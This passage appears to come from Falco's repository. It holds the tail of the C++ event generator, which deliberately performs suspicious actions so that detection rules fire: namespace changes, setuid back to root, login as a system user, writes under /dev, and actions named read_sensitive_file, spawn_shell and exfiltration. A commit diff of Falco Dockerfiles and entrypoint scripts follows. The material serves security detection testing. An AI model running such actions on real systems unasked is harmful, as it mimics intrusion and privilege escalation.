// It doesn't matter that the arguments to setns are
// bogus. It's the attempt to call it that will trigger the
// rule.
setns(0, 0);
}
void system_user_interactive() {
pid_t child;
printf("Forking a child that becomes user=daemon and then tries to run /bin/login...\n");
// Fork a child and do everything in the child.
if ((child = fork()) == 0)
{
become_user("daemon");
char *argv[] = {(char *)"/bin/login", NULL};
char *env[] = {NULL};
spawn("/bin/login", argv, env);
exit(0);
}
else
{
int status;
waitpid(child, &status, 0);
}
}
void network_activity() {
printf("Connecting a udp socket to 10.2.3.4:8192...\n");
int rc;
int sock = socket(PF_INET, SOCK_DGRAM, 0);
struct sockaddr_in localhost;
localhost.sin_family = AF_INET;
localhost.sin_port = htons(8192);
inet_aton("10.2.3.4", &(localhost.sin_addr));
if((rc = connect(sock, (struct sockaddr *) &localhost, sizeof(localhost))) != 0)
{
fprintf(stderr, "Could not bind listening socket to localhost: %s\n", strerror(errno));
return;
}
close(sock);
}
void system_procs_network_activity() {
printf("Becoming the program \"sha1sum\" and then performing network activity\n");
respawn("./sha1sum", "network_activity", "0");
}
void non_sudo_setuid() {
pid_t child;
printf("Forking a child that becomes \"daemon\" user and then \"root\"...\n");
// Fork a child and do everything in the child.
if ((child = fork()) == 0)
{
// First setuid to something non-root. Then try to setuid back to root.
become_user("daemon");
become_user("root");
exit(0);
}
else
{
int status;
waitpid(child, &status, 0);
}
}
void create_files_below_dev() {
printf("Creating /dev/created-by-event-generator-sh...\n");
touch("/dev/created-by-event-generator-sh");
}
void exec_ls()
{
char *argv[] = {(char *)"/bin/ls", NULL};
char *env[] = {NULL};
spawn("/bin/ls", argv, env);
}
void user_mgmt_binaries() {
printf("Becoming the program \"vipw\" and then running the program /bin/ls\n");
printf("NOTE: does not result in a falco notification in containers\n");
respawn("./vipw", "exec_ls", "0");
}
typedef void (*action_t)();
map<string, action_t> defined_actions = {{"write_binary_dir", write_binary_dir},
{"write_etc", write_etc},
{"read_sensitive_file", read_sensitive_file},
{"read_sensitive_file_after_startup", read_sensitive_file_after_startup},
{"write_rpm_database", write_rpm_database},
{"spawn_shell", spawn_shell},
{"spawn_shell_under_httpd", spawn_shell_under_httpd},
{"db_program_spawn_process", db_program_spawn_process},
{"modify_binary_dirs", modify_binary_dirs},
{"mkdir_binary_dirs", mkdir_binary_dirs},
{"change_thread_namespace", change_thread_namespace},
{"system_user_interactive", system_user_interactive},
{"network_activity", network_activity},
{"system_procs_network_activity", system_procs_network_activity},
{"non_sudo_setuid", non_sudo_setuid},
{"create_files_below_dev", create_files_below_dev},
{"exec_ls", exec_ls},
{"user_mgmt_binaries", user_mgmt_binaries},
{"exfiltration", exfiltration}};
// Some actions don't directly result in suspicious behavior. These
// actions are excluded from the ones run with -a all.
set<string> exclude_from_all_actions = {"spawn_shell", "exec_ls", "network_activity"};
void create_symlinks(const char *program)
{
int rc;
// Some actions depend on this program being re-run as
// different program names like 'mysqld', 'httpd', etc. This
// sets up all the required symlinks.
const char *progs[] = {"./httpd", "./mysqld", "./sha1sum", "./vipw", NULL};
for (unsigned int i=0; progs[i] != NULL; i++)
{
unlink(progs[i]);
if ((rc = symlink(program, progs[i])) != 0)
{
fprintf(stderr, "Could not link \"./event_generator\" to \"%s\": %s\n", progs[i], strerror(errno));
}
}
}
void run_actions(map<string, action_t> &actions, int interval, bool once)
{
while (true)
{
for (auto action : actions)
{
printf("***Action %s\n", action.first.c_str());
action.second();
sleep(interval);
}
if(once)
{
break;
}
}
}
int main(int argc, char **argv)
{
map<string, action_t> actions;
int op;
int long_index = 0;
int interval = 1;
bool once = false;
map<string, action_t>::iterator it;
static struct option long_options[] =
{
{"help", no_argument, 0, 'h' },
{"action", required_argument, 0, 'a' },
{"interval", required_argument, 0, 'i' },
{"once", no_argument, 0, 'o' },
{0, 0}
};
//
// Parse the args
//
while((op = getopt_long(argc, argv,
"ha:i:l:o",
long_options, &long_index)) != -1)
{
switch(op)
{
case 'h':
usage(argv[0]);
exit(1);
case 'a':
// "all" is already implied
if (strcmp(optarg, "all") != 0)
{
if((it = defined_actions.find(optarg)) == defined_actions.end())
{
fprintf(stderr, "No action with name \"%s\" known, exiting.\n", optarg);
exit(1);
}
actions.insert(*it);
}
break;
case 'i':
interval = atoi(optarg);
break;
case 'o':
once = true;
break;
default:
usage(argv[0]);
exit(1);
}
}
//
// Also look for actions in the environment. If specified, they
// override any specified on the command line.
//
char *env_action = getenv("EVENT_GENERATOR_ACTIONS");
if(env_action)
{
actions.clear();
string envs(env_action);
istringstream ss(envs);
string item;
while (std::getline(ss, item, ':'))
{
if((it = defined_actions.find(item)) == defined_actions.end())
{
fprintf(stderr, "No action with name \"%s\" known, exiting.\n", item.c_str());
exit(1);
}
actions.insert(*it);
}
}
if(actions.size() == 0)
{
for(auto &act : defined_actions)
{
if(exclude_from_all_actions.find(act.first) == exclude_from_all_actions.end())
{
actions.insert(act);
}
}
}
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
// Only create symlinks when running as the program event_generator
if (strstr(argv[0], "generator"))
{
create_symlinks(argv[0]);
}
run_actions(actions, interval, once);
}

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@@ -1,129 +0,0 @@
FROM debian:buster
LABEL maintainer="cncf-falco-dev@lists.cncf.io"
LABEL usage="docker run -i -t --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro -v /etc:/host/etc --name NAME IMAGE"
ARG TARGETARCH
ARG FALCO_VERSION=latest
ARG VERSION_BUCKET=deb
ENV VERSION_BUCKET=${VERSION_BUCKET}
ENV FALCO_VERSION=${FALCO_VERSION}
ENV HOST_ROOT /host
ENV HOME /root
RUN cp /etc/skel/.bashrc /root && cp /etc/skel/.profile /root
RUN apt-get update \
&& apt-get install -y --no-install-recommends \
bash-completion \
bc \
bison \
clang-7 \
ca-certificates \
curl \
dkms \
flex \
gnupg2 \
gcc \
jq \
libc6-dev \
libelf-dev \
libssl-dev \
llvm-7 \
netcat \
patchelf \
xz-utils \
&& rm -rf /var/lib/apt/lists/*
RUN if [ "$TARGETARCH" = "amd64" ]; \
then apt-get install -y --no-install-recommends libmpx2; \
fi
# gcc 6 is no longer included in debian stable, but we need it to
# build kernel modules on the default debian-based ami used by
# kops. So grab copies we've saved from debian snapshots with the
# prefix https://snapshot.debian.org/archive/debian/20170517T033514Z
# or so.
RUN if [ "$TARGETARCH" = "amd64" ]; then curl -L -o libcilkrts5_6.3.0-18_${TARGETARCH}.deb https://download.falco.org/dependencies/libcilkrts5_6.3.0-18_${TARGETARCH}.deb; fi; \
curl -L -o cpp-6_6.3.0-18_${TARGETARCH}.deb https://download.falco.org/dependencies/cpp-6_6.3.0-18_${TARGETARCH}.deb \
&& curl -L -o gcc-6-base_6.3.0-18_${TARGETARCH}.deb https://download.falco.org/dependencies/gcc-6-base_6.3.0-18_${TARGETARCH}.deb \
&& curl -L -o gcc-6_6.3.0-18_${TARGETARCH}.deb https://download.falco.org/dependencies/gcc-6_6.3.0-18_${TARGETARCH}.deb \
&& curl -L -o libasan3_6.3.0-18_${TARGETARCH}.deb https://download.falco.org/dependencies/libasan3_6.3.0-18_${TARGETARCH}.deb \
&& curl -L -o libgcc-6-dev_6.3.0-18_${TARGETARCH}.deb https://download.falco.org/dependencies/libgcc-6-dev_6.3.0-18_${TARGETARCH}.deb \
&& curl -L -o libubsan0_6.3.0-18_${TARGETARCH}.deb https://download.falco.org/dependencies/libubsan0_6.3.0-18_${TARGETARCH}.deb \
&& curl -L -o libmpfr4_3.1.3-2_${TARGETARCH}.deb https://download.falco.org/dependencies/libmpfr4_3.1.3-2_${TARGETARCH}.deb \
&& curl -L -o libisl15_0.18-1_${TARGETARCH}.deb https://download.falco.org/dependencies/libisl15_0.18-1_${TARGETARCH}.deb \
&& dpkg -i cpp-6_6.3.0-18_${TARGETARCH}.deb gcc-6-base_6.3.0-18_${TARGETARCH}.deb gcc-6_6.3.0-18_${TARGETARCH}.deb libasan3_6.3.0-18_${TARGETARCH}.deb; \
if [ "$TARGETARCH" = "amd64" ]; then dpkg -i libcilkrts5_6.3.0-18_${TARGETARCH}.deb; fi; \
dpkg -i libgcc-6-dev_6.3.0-18_${TARGETARCH}.deb libubsan0_6.3.0-18_${TARGETARCH}.deb libmpfr4_3.1.3-2_${TARGETARCH}.deb libisl15_0.18-1_${TARGETARCH}.deb \
&& rm -f cpp-6_6.3.0-18_${TARGETARCH}.deb gcc-6-base_6.3.0-18_${TARGETARCH}.deb gcc-6_6.3.0-18_${TARGETARCH}.deb libasan3_6.3.0-18_${TARGETARCH}.deb libcilkrts5_6.3.0-18_${TARGETARCH}.deb libgcc-6-dev_6.3.0-18_${TARGETARCH}.deb libubsan0_6.3.0-18_${TARGETARCH}.deb libmpfr4_3.1.3-2_${TARGETARCH}.deb libisl15_0.18-1_${TARGETARCH}.deb
# gcc 5 is no longer included in debian stable, but we need it to
# build centos kernels, which are 3.x based and explicitly want a gcc
# version 3, 4, or 5 compiler. So grab copies we've saved from debian
# snapshots with the prefix https://snapshot.debian.org/archive/debian/20190122T000000Z.
RUN if [ "$TARGETARCH" = "amd64" ]; then curl -L -o libmpx0_5.5.0-12_${TARGETARCH}.deb https://download.falco.org/dependencies/libmpx0_5.5.0-12_${TARGETARCH}.deb; fi; \
curl -L -o cpp-5_5.5.0-12_${TARGETARCH}.deb https://download.falco.org/dependencies/cpp-5_5.5.0-12_${TARGETARCH}.deb \
&& curl -L -o gcc-5-base_5.5.0-12_${TARGETARCH}.deb https://download.falco.org/dependencies/gcc-5-base_5.5.0-12_${TARGETARCH}.deb \
&& curl -L -o gcc-5_5.5.0-12_${TARGETARCH}.deb https://download.falco.org/dependencies/gcc-5_5.5.0-12_${TARGETARCH}.deb \
&& curl -L -o libasan2_5.5.0-12_${TARGETARCH}.deb https://download.falco.org/dependencies/libasan2_5.5.0-12_${TARGETARCH}.deb \
&& curl -L -o libgcc-5-dev_5.5.0-12_${TARGETARCH}.deb https://download.falco.org/dependencies/libgcc-5-dev_5.5.0-12_${TARGETARCH}.deb \
&& curl -L -o libisl15_0.18-4_${TARGETARCH}.deb https://download.falco.org/dependencies/libisl15_0.18-4_${TARGETARCH}.deb \
&& dpkg -i cpp-5_5.5.0-12_${TARGETARCH}.deb gcc-5-base_5.5.0-12_${TARGETARCH}.deb gcc-5_5.5.0-12_${TARGETARCH}.deb libasan2_5.5.0-12_${TARGETARCH}.deb; \
if [ "$TARGETARCH" = "amd64" ]; then dpkg -i libmpx0_5.5.0-12_${TARGETARCH}.deb; fi; \
dpkg -i libgcc-5-dev_5.5.0-12_${TARGETARCH}.deb libisl15_0.18-4_${TARGETARCH}.deb \
&& rm -f cpp-5_5.5.0-12_${TARGETARCH}.deb gcc-5-base_5.5.0-12_${TARGETARCH}.deb gcc-5_5.5.0-12_${TARGETARCH}.deb libasan2_5.5.0-12_${TARGETARCH}.deb libgcc-5-dev_5.5.0-12_${TARGETARCH}.deb libisl15_0.18-4_${TARGETARCH}.deb libmpx0_5.5.0-12_${TARGETARCH}.deb
# Since our base Debian image ships with GCC 7 which breaks older kernels, revert the
# default to gcc-5.
RUN rm -rf /usr/bin/gcc && ln -s /usr/bin/gcc-5 /usr/bin/gcc
RUN rm -rf /usr/bin/clang \
&& rm -rf /usr/bin/llc \
&& ln -s /usr/bin/clang-7 /usr/bin/clang \
&& ln -s /usr/bin/llc-7 /usr/bin/llc
RUN curl -s https://falco.org/repo/falcosecurity-3672BA8F.asc | apt-key add - \
&& echo "deb https://download.falco.org/packages/${VERSION_BUCKET} stable main" | tee -a /etc/apt/sources.list.d/falcosecurity.list \
&& apt-get update -y \
&& if [ "$FALCO_VERSION" = "latest" ]; then apt-get install -y --no-install-recommends falco; else apt-get install -y --no-install-recommends falco=${FALCO_VERSION}; fi \
&& apt-get clean \
&& rm -rf /var/lib/apt/lists/*
# Change the falco config within the container to enable ISO 8601
# output.
RUN sed -e 's/time_format_iso_8601: false/time_format_iso_8601: true/' < /etc/falco/falco.yaml > /etc/falco/falco.yaml.new \
&& mv /etc/falco/falco.yaml.new /etc/falco/falco.yaml
# Some base images have an empty /lib/modules by default
# If it's not empty, docker build will fail instead of
# silently overwriting the existing directory
RUN rm -df /lib/modules \
&& ln -s $HOST_ROOT/lib/modules /lib/modules
# debian:stable head contains binutils 2.31, which generates
# binaries that are incompatible with kernels < 4.16. So manually
# forcibly install binutils 2.30-22 instead.
RUN if [ "$TARGETARCH" = "amd64" ] ; then \
curl -L -o binutils-x86-64-linux-gnu_2.30-22_${TARGETARCH}.deb https://download.falco.org/dependencies/binutils-x86-64-linux-gnu_2.30-22_${TARGETARCH}.deb; \
else \
curl -L -o binutils-aarch64-linux-gnu_2.30-22_${TARGETARCH}.deb https://download.falco.org/dependencies/binutils-aarch64-linux-gnu_2.30-22_${TARGETARCH}.deb; \
fi
RUN curl -L -o binutils_2.30-22_${TARGETARCH}.deb https://download.falco.org/dependencies/binutils_2.30-22_${TARGETARCH}.deb \
&& curl -L -o libbinutils_2.30-22_${TARGETARCH}.deb https://download.falco.org/dependencies/libbinutils_2.30-22_${TARGETARCH}.deb \
&& curl -L -o binutils-common_2.30-22_${TARGETARCH}.deb https://download.falco.org/dependencies/binutils-common_2.30-22_${TARGETARCH}.deb \
&& dpkg -i *binutils*.deb \
&& rm -f *binutils*.deb
COPY ./docker-entrypoint.sh /
ENTRYPOINT ["/docker-entrypoint.sh"]
CMD ["/usr/bin/falco"]

View File

@@ -1,33 +0,0 @@
#!/usr/bin/env bash
#
# Copyright (C) 2020 The Falco Authors.
#
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# Set the SKIP_DRIVER_LOADER variable to skip loading the driver
if [[ -z "${SKIP_DRIVER_LOADER}" ]]; then
echo "* Setting up /usr/src links from host"
for i in "$HOST_ROOT/usr/src"/*
do
base=$(basename "$i")
ln -s "$i" "/usr/src/$base"
done
/usr/bin/falco-driver-loader
fi
exec "$@"

View File

@@ -1,17 +0,0 @@
add_subdirectory(traces)
add_subdirectory(rules)
add_custom_target(local-Dockerfile ALL
DEPENDS ${CMAKE_CURRENT_BINARY_DIR}/Dockerfile)
add_custom_command(OUTPUT ${CMAKE_CURRENT_BINARY_DIR}/Dockerfile
COMMAND ${CMAKE_COMMAND} -E copy ${CMAKE_CURRENT_SOURCE_DIR}/Dockerfile ${CMAKE_CURRENT_BINARY_DIR}/Dockerfile
DEPENDS ${CMAKE_CURRENT_SOURCE_DIR}/Dockerfile)
add_custom_target(local-docker-entrypoint ALL
DEPENDS ${CMAKE_CURRENT_BINARY_DIR}/docker-entrypoint)
add_custom_command(OUTPUT ${CMAKE_CURRENT_BINARY_DIR}/docker-entrypoint
COMMAND ${CMAKE_COMMAND} -E copy ${CMAKE_CURRENT_SOURCE_DIR}/docker-entrypoint.sh ${CMAKE_CURRENT_BINARY_DIR}/docker-entrypoint.sh
DEPENDS ${CMAKE_CURRENT_SOURCE_DIR}/docker-entrypoint.sh)

View File

@@ -1,22 +1,21 @@
FROM debian:buster
FROM debian:unstable
LABEL usage="docker run -i -t -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro --name NAME IMAGE"
LABEL maintainer="cncf-falco-dev@lists.cncf.io"
MAINTAINER Sysdig <support@sysdig.com>
ARG TARGETARCH
ENV FALCO_VERSION 0.1.1dev
ARG FALCO_VERSION=
RUN test -n FALCO_VERSION
ENV FALCO_VERSION ${FALCO_VERSION}
LABEL RUN="docker run -i -t -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro --name NAME IMAGE"
ENV HOST_ROOT /host
ENV SYSDIG_HOST_ROOT /host
ENV HOME /root
RUN cp /etc/skel/.bashrc /root && cp /etc/skel/.profile /root
ADD http://download.draios.com/apt-draios-priority /etc/apt/preferences.d/
RUN apt-get update \
&& apt-get install -y --no-install-recommends \
&& apt-get install -y --no-install-recommends \
bash-completion \
bc \
clang-7 \
@@ -25,107 +24,40 @@ RUN apt-get update \
dkms \
gnupg2 \
gcc \
gcc-5 \
gcc-6 \
jq \
libc6-dev \
libelf-dev \
libyaml-0-2 \
llvm-7 \
netcat \
xz-utils \
libmpc3 \
binutils \
libgomp1 \
libitm1 \
libatomic1 \
liblsan0 \
libtsan0 \
libcc1-0 \
patchelf \
&& rm -rf /var/lib/apt/lists/*
RUN if [ "$TARGETARCH" = "amd64" ]; \
then apt-get install -y --no-install-recommends libmpx2 libquadmath0; \
fi
# gcc 6 is no longer included in debian stable, but we need it to
# build kernel modules on the default debian-based ami used by
# kops. So grab copies we've saved from debian snapshots with the
# prefix https://snapshot.debian.org/archive/debian/20170517T033514Z
# or so.
RUN if [ "$TARGETARCH" = "amd64" ]; then curl -L -o libcilkrts5_6.3.0-18_${TARGETARCH}.deb https://download.falco.org/dependencies/libcilkrts5_6.3.0-18_${TARGETARCH}.deb; fi; \
curl -L -o cpp-6_6.3.0-18_${TARGETARCH}.deb https://download.falco.org/dependencies/cpp-6_6.3.0-18_${TARGETARCH}.deb \
&& curl -L -o gcc-6-base_6.3.0-18_${TARGETARCH}.deb https://download.falco.org/dependencies/gcc-6-base_6.3.0-18_${TARGETARCH}.deb \
&& curl -L -o gcc-6_6.3.0-18_${TARGETARCH}.deb https://download.falco.org/dependencies/gcc-6_6.3.0-18_${TARGETARCH}.deb \
&& curl -L -o libasan3_6.3.0-18_${TARGETARCH}.deb https://download.falco.org/dependencies/libasan3_6.3.0-18_${TARGETARCH}.deb \
&& curl -L -o libgcc-6-dev_6.3.0-18_${TARGETARCH}.deb https://download.falco.org/dependencies/libgcc-6-dev_6.3.0-18_${TARGETARCH}.deb \
&& curl -L -o libubsan0_6.3.0-18_${TARGETARCH}.deb https://download.falco.org/dependencies/libubsan0_6.3.0-18_${TARGETARCH}.deb \
&& curl -L -o libmpfr4_3.1.3-2_${TARGETARCH}.deb https://download.falco.org/dependencies/libmpfr4_3.1.3-2_${TARGETARCH}.deb \
&& curl -L -o libisl15_0.18-1_${TARGETARCH}.deb https://download.falco.org/dependencies/libisl15_0.18-1_${TARGETARCH}.deb \
&& dpkg -i cpp-6_6.3.0-18_${TARGETARCH}.deb gcc-6-base_6.3.0-18_${TARGETARCH}.deb gcc-6_6.3.0-18_${TARGETARCH}.deb libasan3_6.3.0-18_${TARGETARCH}.deb; \
if [ "$TARGETARCH" = "amd64" ]; then dpkg -i libcilkrts5_6.3.0-18_${TARGETARCH}.deb; fi; \
dpkg -i libgcc-6-dev_6.3.0-18_${TARGETARCH}.deb libubsan0_6.3.0-18_${TARGETARCH}.deb libmpfr4_3.1.3-2_${TARGETARCH}.deb libisl15_0.18-1_${TARGETARCH}.deb \
&& rm -f cpp-6_6.3.0-18_${TARGETARCH}.deb gcc-6-base_6.3.0-18_${TARGETARCH}.deb gcc-6_6.3.0-18_${TARGETARCH}.deb libasan3_6.3.0-18_${TARGETARCH}.deb libcilkrts5_6.3.0-18_${TARGETARCH}.deb libgcc-6-dev_6.3.0-18_${TARGETARCH}.deb libubsan0_6.3.0-18_${TARGETARCH}.deb libmpfr4_3.1.3-2_${TARGETARCH}.deb libisl15_0.18-1_${TARGETARCH}.deb
# gcc 5 is no longer included in debian stable, but we need it to
# build centos kernels, which are 3.x based and explicitly want a gcc
# version 3, 4, or 5 compiler. So grab copies we've saved from debian
# snapshots with the prefix https://snapshot.debian.org/archive/debian/20190122T000000Z.
RUN if [ "$TARGETARCH" = "amd64" ]; then curl -L -o libmpx0_5.5.0-12_${TARGETARCH}.deb https://download.falco.org/dependencies/libmpx0_5.5.0-12_${TARGETARCH}.deb; fi; \
curl -L -o cpp-5_5.5.0-12_${TARGETARCH}.deb https://download.falco.org/dependencies/cpp-5_5.5.0-12_${TARGETARCH}.deb \
&& curl -L -o gcc-5-base_5.5.0-12_${TARGETARCH}.deb https://download.falco.org/dependencies/gcc-5-base_5.5.0-12_${TARGETARCH}.deb \
&& curl -L -o gcc-5_5.5.0-12_${TARGETARCH}.deb https://download.falco.org/dependencies/gcc-5_5.5.0-12_${TARGETARCH}.deb \
&& curl -L -o libasan2_5.5.0-12_${TARGETARCH}.deb https://download.falco.org/dependencies/libasan2_5.5.0-12_${TARGETARCH}.deb \
&& curl -L -o libgcc-5-dev_5.5.0-12_${TARGETARCH}.deb https://download.falco.org/dependencies/libgcc-5-dev_5.5.0-12_${TARGETARCH}.deb \
&& curl -L -o libisl15_0.18-4_${TARGETARCH}.deb https://download.falco.org/dependencies/libisl15_0.18-4_${TARGETARCH}.deb \
&& dpkg -i cpp-5_5.5.0-12_${TARGETARCH}.deb gcc-5-base_5.5.0-12_${TARGETARCH}.deb gcc-5_5.5.0-12_${TARGETARCH}.deb libasan2_5.5.0-12_${TARGETARCH}.deb; \
if [ "$TARGETARCH" = "amd64" ]; then dpkg -i libmpx0_5.5.0-12_${TARGETARCH}.deb; fi; \
dpkg -i libgcc-5-dev_5.5.0-12_${TARGETARCH}.deb libisl15_0.18-4_${TARGETARCH}.deb \
&& rm -f cpp-5_5.5.0-12_${TARGETARCH}.deb gcc-5-base_5.5.0-12_${TARGETARCH}.deb gcc-5_5.5.0-12_${TARGETARCH}.deb libasan2_5.5.0-12_${TARGETARCH}.deb libgcc-5-dev_5.5.0-12_${TARGETARCH}.deb libisl15_0.18-4_${TARGETARCH}.deb libmpx0_5.5.0-12_${TARGETARCH}.deb
&& rm -rf /var/lib/apt/lists/*
# Since our base Debian image ships with GCC 7 which breaks older kernels, revert the
# default to gcc-5.
RUN rm -rf /usr/bin/gcc && ln -s /usr/bin/gcc-5 /usr/bin/gcc
RUN rm -rf /usr/bin/clang \
&& rm -rf /usr/bin/llc \
&& ln -s /usr/bin/clang-7 /usr/bin/clang \
&& ln -s /usr/bin/llc-7 /usr/bin/llc
&& rm -rf /usr/bin/llc \
&& ln -s /usr/bin/clang-7 /usr/bin/clang \
&& ln -s /usr/bin/llc-7 /usr/bin/llc
# Some base images have an empty /lib/modules by default
# If it's not empty, docker build will fail instead of
# silently overwriting the existing directory
RUN rm -df /lib/modules \
&& ln -s $HOST_ROOT/lib/modules /lib/modules
&& ln -s $SYSDIG_HOST_ROOT/lib/modules /lib/modules
ADD falco-${FALCO_VERSION}-*.deb /
RUN dpkg -i /falco-${FALCO_VERSION}-$(uname -m).deb
ADD falco-${FALCO_VERSION}-x86_64.deb /
RUN dpkg -i /falco-${FALCO_VERSION}-x86_64.deb
# Change the falco config within the container to enable ISO 8601
# output.
RUN sed -e 's/time_format_iso_8601: false/time_format_iso_8601: true/' < /etc/falco/falco.yaml > /etc/falco/falco.yaml.new \
&& mv /etc/falco/falco.yaml.new /etc/falco/falco.yaml
# debian:stable head contains binutils 2.31, which generates
# debian:unstable head contains binutils 2.31, which generates
# binaries that are incompatible with kernels < 4.16. So manually
# forcibly install binutils 2.30-22 instead.
RUN if [ "$TARGETARCH" = "amd64" ] ; then \
curl -L -o binutils-x86-64-linux-gnu_2.30-22_${TARGETARCH}.deb https://download.falco.org/dependencies/binutils-x86-64-linux-gnu_2.30-22_${TARGETARCH}.deb; \
else \
curl -L -o binutils-aarch64-linux-gnu_2.30-22_${TARGETARCH}.deb https://download.falco.org/dependencies/binutils-aarch64-linux-gnu_2.30-22_${TARGETARCH}.deb; \
fi
RUN curl -L -o binutils_2.30-22_${TARGETARCH}.deb https://download.falco.org/dependencies/binutils_2.30-22_${TARGETARCH}.deb \
&& curl -L -o libbinutils_2.30-22_${TARGETARCH}.deb https://download.falco.org/dependencies/libbinutils_2.30-22_${TARGETARCH}.deb \
&& curl -L -o binutils-common_2.30-22_${TARGETARCH}.deb https://download.falco.org/dependencies/binutils-common_2.30-22_${TARGETARCH}.deb \
&& dpkg -i *binutils*.deb \
&& rm -f *binutils*.deb
# The local container also copies some test trace files and
# corresponding rules that are used when running regression tests.
COPY rules/*.yaml /rules/
COPY traces/*.scap /traces/
RUN curl -s -o binutils_2.30-22_amd64.deb http://snapshot.debian.org/archive/debian/20180622T211149Z/pool/main/b/binutils/binutils_2.30-22_amd64.deb \
&& curl -s -o libbinutils_2.30-22_amd64.deb http://snapshot.debian.org/archive/debian/20180622T211149Z/pool/main/b/binutils/libbinutils_2.30-22_amd64.deb \
&& curl -s -o binutils-x86-64-linux-gnu_2.30-22_amd64.deb http://snapshot.debian.org/archive/debian/20180622T211149Z/pool/main/b/binutils/binutils-x86-64-linux-gnu_2.30-22_amd64.deb \
&& curl -s -o binutils-common_2.30-22_amd64.deb http://snapshot.debian.org/archive/debian/20180622T211149Z/pool/main/b/binutils/binutils-common_2.30-22_amd64.deb \
&& dpkg -i *binutils*.deb
COPY ./docker-entrypoint.sh /

View File

@@ -1,34 +1,17 @@
#!/usr/bin/env bash
#
# Copyright (C) 2020 The Falco Authors.
#
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
#!/bin/bash
#set -e
# Set the SYSDIG_SKIP_LOAD variable to skip loading the sysdig kernel module
# Set the SKIP_DRIVER_LOADER variable to skip loading the driver
if [[ -z "${SKIP_DRIVER_LOADER}" ]]; then
if [[ -z "${SYSDIG_SKIP_LOAD}" ]]; then
echo "* Setting up /usr/src links from host"
for i in "$HOST_ROOT/usr/src"/*
for i in $(ls $SYSDIG_HOST_ROOT/usr/src)
do
base=$(basename "$i")
ln -s "$i" "/usr/src/$base"
ln -s $SYSDIG_HOST_ROOT/usr/src/$i /usr/src/$i
done
/usr/bin/falco-driver-loader
/usr/bin/falco-probe-loader
fi
exec "$@"

View File

@@ -1,7 +0,0 @@
include(copy_files_to_build_dir)
# Note: list of rules is created at cmake time, not build time
file(GLOB test_rule_files
"${CMAKE_CURRENT_SOURCE_DIR}/../../../test/rules/*.yaml")
copy_files_to_build_dir("${test_rule_files}" docker-local-rules)

View File

@@ -1,7 +0,0 @@
include(copy_files_to_build_dir)
# Note: list of traces is created at cmake time, not build time
file(GLOB test_trace_files
"${CMAKE_CURRENT_SOURCE_DIR}/../../../test/trace_files/*.scap")
copy_files_to_build_dir("${test_trace_files}" docker-local-traces)

View File

@@ -1,35 +0,0 @@
FROM ubuntu:18.04 as ubuntu
ARG FALCO_VERSION
ARG VERSION_BUCKET=bin
ENV FALCO_VERSION=${FALCO_VERSION}
ENV VERSION_BUCKET=${VERSION_BUCKET}
RUN apt-get -y update && apt-get -y install gridsite-clients curl
WORKDIR /
RUN curl -L -o falco.tar.gz \
https://download.falco.org/packages/${VERSION_BUCKET}/$(uname -m)/falco-$(urlencode ${FALCO_VERSION})-$(uname -m).tar.gz && \
tar -xvf falco.tar.gz && \
rm -f falco.tar.gz && \
mv falco-${FALCO_VERSION}-$(uname -m) falco && \
rm -rf /falco/usr/src/falco-* /falco/usr/bin/falco-driver-loader
RUN sed -e 's/time_format_iso_8601: false/time_format_iso_8601: true/' < /falco/etc/falco/falco.yaml > /falco/etc/falco/falco.yaml.new \
&& mv /falco/etc/falco/falco.yaml.new /falco/etc/falco/falco.yaml
FROM debian:11-slim
LABEL maintainer="cncf-falco-dev@lists.cncf.io"
LABEL usage="docker run -i -t --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro --name NAME IMAGE"
# NOTE: for the "least privileged" use case, please refer to the official documentation
ENV HOST_ROOT /host
ENV HOME /root
COPY --from=ubuntu /falco /
CMD ["/usr/bin/falco", "-o", "time_format_iso_8601=true"]

69
docker/stable/Dockerfile Normal file
View File

@@ -0,0 +1,69 @@
FROM debian:unstable
MAINTAINER Sysdig <support@sysdig.com>
ENV FALCO_REPOSITORY stable
LABEL RUN="docker run -i -t -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro --name NAME IMAGE"
ENV SYSDIG_HOST_ROOT /host
ENV HOME /root
RUN cp /etc/skel/.bashrc /root && cp /etc/skel/.profile /root
ADD http://download.draios.com/apt-draios-priority /etc/apt/preferences.d/
RUN apt-get update \
&& apt-get install -y --no-install-recommends \
bash-completion \
bc \
clang-7 \
ca-certificates \
curl \
gnupg2 \
gcc \
gcc-5 \
gcc-6 \
jq \
libc6-dev \
libelf-dev \
llvm-7 \
&& rm -rf /var/lib/apt/lists/*
# Since our base Debian image ships with GCC 7 which breaks older kernels, revert the
# default to gcc-5.
RUN rm -rf /usr/bin/gcc && ln -s /usr/bin/gcc-5 /usr/bin/gcc
RUN rm -rf /usr/bin/clang \
&& rm -rf /usr/bin/llc \
&& ln -s /usr/bin/clang-7 /usr/bin/clang \
&& ln -s /usr/bin/llc-7 /usr/bin/llc
RUN curl -s https://s3.amazonaws.com/download.draios.com/DRAIOS-GPG-KEY.public | apt-key add - \
